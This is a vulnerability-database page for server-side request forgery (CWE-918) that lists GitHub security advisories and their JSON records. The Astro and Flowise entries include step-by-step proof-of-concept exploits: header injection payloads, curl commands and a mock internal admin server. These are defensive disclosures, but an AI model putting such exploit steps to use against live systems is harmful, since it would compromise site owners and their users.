Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4738 vulnerabilities reference this CWE, most recent first.

GHSA-HQPJ-XX46-MWVH

Vulnerability from github – Published: 2024-09-17 21:30 – Updated: 2024-09-17 21:30
VLAI
Details

An improper access control vulnerability in GroupMe allows an a unauthenticated attacker to elevate privileges over a network by convincing a user to click on a malicious link.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-38183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-17T19:15:25Z",
    "severity": "HIGH"
  },
  "details": "An improper access control vulnerability in GroupMe allows an a unauthenticated attacker to elevate privileges over a network by convincing a user to click on a malicious link.",
  "id": "GHSA-hqpj-xx46-mwvh",
  "modified": "2024-09-17T21:30:32Z",
  "published": "2024-09-17T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38183"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38183"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQRH-5FFW-2JFP

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-02-27 00:00
VLAI
Details

This vulnerability could allow an attacker to force the server to create and execute a web request granting access to backend APIs that are only accessible to the Mimosa MMP server, or request pages that could perform some actions themselves. The attacker could force the server into accessing routes on those cloud-hosting platforms, accessing secret keys, changing configurations, etc. Affecting MMP: All versions prior to v1.0.3, PTP C-series: Device versions prior to v2.8.6.1, and PTMP C-series and A5x: Device versions prior to v2.5.4.1.

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{
  "affected": [],
  "aliases": [
    "CVE-2022-21215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-18T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "This vulnerability could allow an attacker to force the server to create and execute a web request granting access to backend APIs that are only accessible to the Mimosa MMP server, or request pages that could perform some actions themselves. The attacker could force the server into accessing routes on those cloud-hosting platforms, accessing secret keys, changing configurations, etc. Affecting MMP: All versions prior to v1.0.3, PTP C-series: Device versions prior to v2.8.6.1, and PTMP C-series and A5x: Device versions prior to v2.5.4.1.",
  "id": "GHSA-hqrh-5ffw-2jfp",
  "modified": "2022-02-27T00:00:25Z",
  "published": "2022-02-19T00:01:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21215"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-034-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HR2C-P8RH-238H

Vulnerability from github – Published: 2024-01-06 12:30 – Updated: 2024-03-14 21:57
VLAI
Summary
Apache Axis Improper Input Validation vulnerability
Details

** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Axis allowed users with access to the admin service to perform possible SSRF. This issue affects Apache Axis through 1.3.

As Axis 1 has been EOL, we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. The Apache Axis project does not expect to create an Axis 1.x release fixing this problem, though contributors that would like to work towards this are welcome.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.axis:axis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "axis:axis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-08T15:49:03Z",
    "nvd_published_at": "2024-01-06T12:15:42Z",
    "severity": "HIGH"
  },
  "details": "** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Axis allowed users with access to the admin service to perform possible SSRF.\nThis issue affects Apache Axis through 1.3.\n\nAs Axis 1 has been EOL, we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. The Apache Axis project does not expect to create an Axis 1.x release \nfixing this problem, though contributors that would like to work towards this are welcome.",
  "id": "GHSA-hr2c-p8rh-238h",
  "modified": "2024-03-14T21:57:50Z",
  "published": "2024-01-06T12:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/axis-axis1-java"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8nrm5thop8f82pglx4o0jg8wmvy6d9yd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Axis Improper Input Validation vulnerability"
}

GHSA-HR2Q-HP5Q-X767

Vulnerability from github – Published: 2025-11-13 22:46 – Updated: 2025-11-13 22:46
VLAI
Summary
Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
Details

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97 https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

[!NOTE] The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

  1. When tryint to access /admin the attacker is naturally redirected : sh curl -i http://localhost:4321/admin image

  2. The attackr can bypass the middleware path check using a malicious header value: sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin image

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website: Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF: Capture d’écran 2025-11-06 à 21 18 26 empty x-forwarded-host + the target host in the path

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
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To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.16.0"
            },
            {
              "fixed": "5.15.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-13T22:46:24Z",
    "nvd_published_at": "2025-11-13T16:15:56Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:\n\n- Middleware-based protected route bypass (only via `x-forwarded-proto`)\n- DoS via cache poisoning (if a CDN is present)\n- SSRF (only via `x-forwarded-proto`)\n- URL pollution (potential SXSS, if a CDN is present) \n- WAF bypass\n\n## Details\n\nThe `x-forwarded-proto` and `x-forwarded-port` headers are used without sanitization in two parts of the Astro server code. The most important is in the `createRequest()` function. Any configuration, including the default one, is affected: \n\n[https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97)\n[https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121)\n\nThese header values are then used directly to construct URLs.\n\nBy injecting a payload at the protocol level during URL creation (via the `x-forwarded-proto` header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn\u0027t affect (re)routing.\n\nIf the following header value is injected when requesting the path `/ssr`:\n\n```\nx-forwarded-proto: https://www.malicious-url.com/?tank=\n```\n\nThe complete URL that will be created is: `https://www.malicious-url.com/?tank=://localhost/ssr`\n\nAs a reminder, URLs are created like this:\n\n```\nurl = new URL(`${protocol}://${hostnamePort}${req.url}`);\n```\n\nThe value is injected at the beginning of the string (`${protocol}`), and ends with a query `?tank=` whose value is the rest of the string, `://${hostnamePort}${req.url}`.\n\nThis way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.\n\nThe same logic applies to `x-forwarded-port`, with a few differences.\n\n\u003e [!NOTE]\n\u003e The `createRequest` function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.\n\n## PoC\n\nThe PoC will be tested with a minimal repository:\n\n- Latest Astro version at the time (`2.16.0`)\n- The Node adapter\n- Two simple pages, one SSR (`/ssr`), the other simulating an admin page (`/admin`) protected by a middleware\n- A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path\n\n[Download the PoC repository](https://github.com/zhero-web-sec/astro-app)\n\n### Middleware-based protected route bypass - x-forwarded-proto only\n\nThe middleware has been configured to protect the `/admin` route based on [the official documentation](https://docs.astro.build/en/guides/authentication/):\n\n```ts\n// src/middleware.ts\nimport { defineMiddleware } from \"astro/middleware\";\n\nexport const onRequest = defineMiddleware(async (context, next) =\u003e {\n  const isAuthed = false; // auth logic\n  if (context.url.pathname === \"/admin\" \u0026\u0026 !isAuthed) {\n    return context.redirect(\"/\");\n  }\n  return next();\n});\n```\n\n1. When tryint to access `/admin` the attacker is naturally redirected :\n   ```sh\n   curl -i http://localhost:4321/admin\n   ```\n   \u003cimg width=\"620\" height=\"102\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351\" /\u003e\n\n2. The attackr can bypass the middleware path check using a malicious header value:\n   ```sh\n   curl -i -H \"x-forwarded-proto: x:admin?\" http://localhost:4321/admin\n   ```\n   \u003cimg width=\"1348\" height=\"159\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089\" /\u003e\n\n#### How \u200b\u200bis this possible?\n\nHere, with the payload `x:admin?`, the attacker can use the URL API parser to their advantage:\n\n- `x:` is considered the protocol\n- Since there is no `//`, the parser considers there to be no authority, and everything before the `?` character is therefore considered part of the path: `admin`\n\nDuring a path-based middleware check, the *path* value begins with a `/`: `context.url.pathname === \"/admin\"`. However, this is not the case with this payload; `context.url.pathname === \"admin\"`, the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.\n\n### SSRF\n\nAs seen, the request URL is built from untrusted input via the `x-forwarded-protocol` header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).\n\nExample of code reusing the \"origin\" URL, concatenating it to the API endpoint :\n\n\u003cimg width=\"601\" height=\"418\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802\" /\u003e\n\n### DoS via cache poisoning\n\nIf a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.\n\nA `404` cab be forced, causing an error on the `/ssr` page like this : `curl -i -H \"x-forwarded-proto: https://localhost/vulnerable?\" http://localhost:4321/ssr`\n\u003cimg width=\"998\" height=\"108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86\" /\u003e\n\nSame logic applies to `x-forwarded-port` : `curl -i -H \"x-forwarded-port: /vulnerable?\" http://localhost:4321/ssr`\n\n#### How \u200b\u200bis this possible?\n\nThe router sees the request for the path `/vulnerable`, which does not exist, and therefore returns a `404`, while the potential CDN sees `/ssr` and can then cache the `404` response, consequently serving it to all users requesting the path `/ssr`.\n\n### URL pollution\n\nThe exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.\n\nIf the value of `request.url` is used to create links within the page, this can lead to Stored XSS with `x-forwarded-proto` and the following value:\n\n```\nx-forwarded-proto: javascript:alert(document.cookie)//\n```\n\nresults in the following URL object:\n\n\u003cimg width=\"444\" height=\"202\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba\" /\u003e\n\nIt is also possible to inject any link, always, if the value of `request.url` is used on the server side to create links.\n\n```\nx-forwarded-proto: https://www.malicious-site.com/bad?\n```\n\n**The attacker is more limited with `x-forwarded-port`**\n\nIf the value of `request.url` is used to create links within the page, this can lead to broken links, with the header and the following value:\n\n```\nX-Forwarded-Port: /nope?\n```\n\nExample of an Astro website: \n\u003cimg width=\"1627\" height=\"298\" alt=\"Capture d\u2019e\u0301cran 2025-11-03 a\u0300 22 07 14\" src=\"https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12\" /\u003e\n\n### WAF bypass\n\nFor this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section \"Exploitation - WAF bypass and escalations\". This research deals with a similar case, the difference being that the vulnerable header was `x-forwarded-host` in their case:\n\n[https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path](https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path)\n\nNote: A section addressing DoS attacks via cache poisoning using the same vector was also included there.\n\n### CVE-2025-61925 complete bypass\n\nIt is possible to completely bypass the vulnerability patch related to the `X-Forwarded-Host` header.\n\nBy sending `x-forwarded-host` with an empty value, the `forwardedHostname` variable is assigned an empty string. Then, during [the subsequent check](https://github.com/withastro/astro/blob/7a5f28006e9b1f6ad77c7884991ba551ca9ff35b/packages/astro/src/core/app/node.ts#L107), the condition fails because `forwardedHostname ` returns `false`, its value being an empty string:\n\n```\nif (forwardedHostname \u0026\u0026 !App.validateForwardedHost(...))\n\n```\n\nConsequently, the implemented check is bypassed. From this point on, since the request has no `host` (*its value being an empty string*), the path value is retrieved by the URL parser to set it as the `host`. This is because the `http/https` schemes are considered special schemes by the [WHATWG URL Standard Specification](https://url.spec.whatwg.org/#scheme-state), requiring an `authority state`.\n\nFrom there, the following request on the example SSR application (astro repo) yields an SSRF:\n\u003cimg width=\"1878\" height=\"456\" alt=\"Capture d\u2019e\u0301cran 2025-11-06 a\u0300 21 18 26\" src=\"https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9\" /\u003e\n*empty `x-forwarded-host` + the target `host` in the path*\n\n## Credits\n\n- Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/))\n- Allam Yasser (inzo)",
  "id": "GHSA-hr2q-hp5q-x767",
  "modified": "2025-11-13T22:46:24Z",
  "published": "2025-11-13T22:46:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass"
}

GHSA-HR7M-WRQW-583Q

Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-02-03 18:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in ThemeGoods Grand Blog grandblog allows Server Side Request Forgery.This issue affects Grand Blog: from n/a through < 3.1.5.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T15:16:16Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in ThemeGoods Grand Blog grandblog allows Server Side Request Forgery.This issue affects Grand Blog: from n/a through \u003c 3.1.5.",
  "id": "GHSA-hr7m-wrqw-583q",
  "modified": "2026-02-03T18:30:42Z",
  "published": "2026-02-03T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24961"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/grandblog/vulnerability/wordpress-grand-blog-theme-3-1-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR86-JC68-FQCR

Vulnerability from github – Published: 2023-06-01 03:30 – Updated: 2024-04-04 04:27
VLAI
Details

Server-side request forgery vulnerability exists in CONPROSYS HMI System (CHS) versions prior to 3.5.3. A user who can access the affected product with an administrative privilege may bypass the database restriction set on the query setting page, and connect to a user unintended database.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-28824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T02:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery vulnerability exists in CONPROSYS HMI System (CHS) versions prior to 3.5.3. A user who can access the affected product with an administrative privilege may bypass the database restriction set on the query setting page, and connect to a user unintended database.",
  "id": "GHSA-hr86-jc68-fqcr",
  "modified": "2024-04-04T04:27:28Z",
  "published": "2023-06-01T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28824"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU93372935"
    },
    {
      "type": "WEB",
      "url": "https://www.contec.com/api/downloadlogger?download=/-/media/Contec/jp/support/security-info/contec_security_chs_230531_en.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.contec.com/jp/api/downloadlogger?download=/-/media/Contec/jp/support/security-info/contec_security_chs_230531_jp.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR92-4Q35-4J3M

Vulnerability from github – Published: 2025-09-15 19:53 – Updated: 2025-09-22 21:58
VLAI
Summary
FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.

Details

Vulnerability Overview

The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.

The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.

Root Cause

The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.

Taint Flow

• Taint 01: Route Registration

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24

• Taint 02: Service

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18

• Taint 03: xmlScrape

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478

PoC

PoC Description

This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:

tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q

Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:

  • /api/users (User Management)
  • /api/secrets (API Keys)
  • /api/database (Database Config)

This demonstrated that an attacker could enumerate internal web service structures.

Internal Admin Server (Mock)

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def admin():
    return render_template_string("""
    <html>
    <h1>Internal Admin Panel</h1>
    <ul>
        <li><a href="/api/users">User Management</a></li>
        <li><a href="/api/secrets">API Keys</a></li>
        <li><a href="/api/database">Database Config</a></li>
        <li><a href="/api/logs">System Logs</a></li>
    </ul>
    """)

@app.route('/api/users')
def users():
    return render_template_string("""
    <html>
    <h1>Users</h1>
    <ul>
        <li><a href="/api/users/admin">admin (root)</a></li>
        <li><a href="/api/users/operator">operator</a></li>
    </ul>
    <a href="/">Back</a>
    """)

@app.route('/api/secrets')
def secrets():
    return render_template_string("""
    <html>
    <h1>Secrets</h1>
    <ul>
        <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
        <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
    </ul>
    <a href="/">Back</a>
    """)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

curl Request Example

curl -G 'http://localhost:3000/api/v1/fetch-links' \
     --data-urlencode 'url=http://127.0.0.1:8080/' \
     --data-urlencode 'relativeLinksMethod=webCrawl' \
     --data-urlencode 'limit=10' \
     -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
     -s | jq '.'

image

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability.

  • Who is impacted? Any user running Flowise server exposed to external traffic.
  • Risk: Attackers can leverage the Flowise server to:
  • Explore internal web applications
  • Bypass firewall rules
  • Access sensitive administrative interfaces
  • Leak internal configuration, credentials, or secrets

This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.5"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T19:53:46Z",
    "nvd_published_at": "2025-09-22T20:15:39Z",
    "severity": "HIGH"
  },
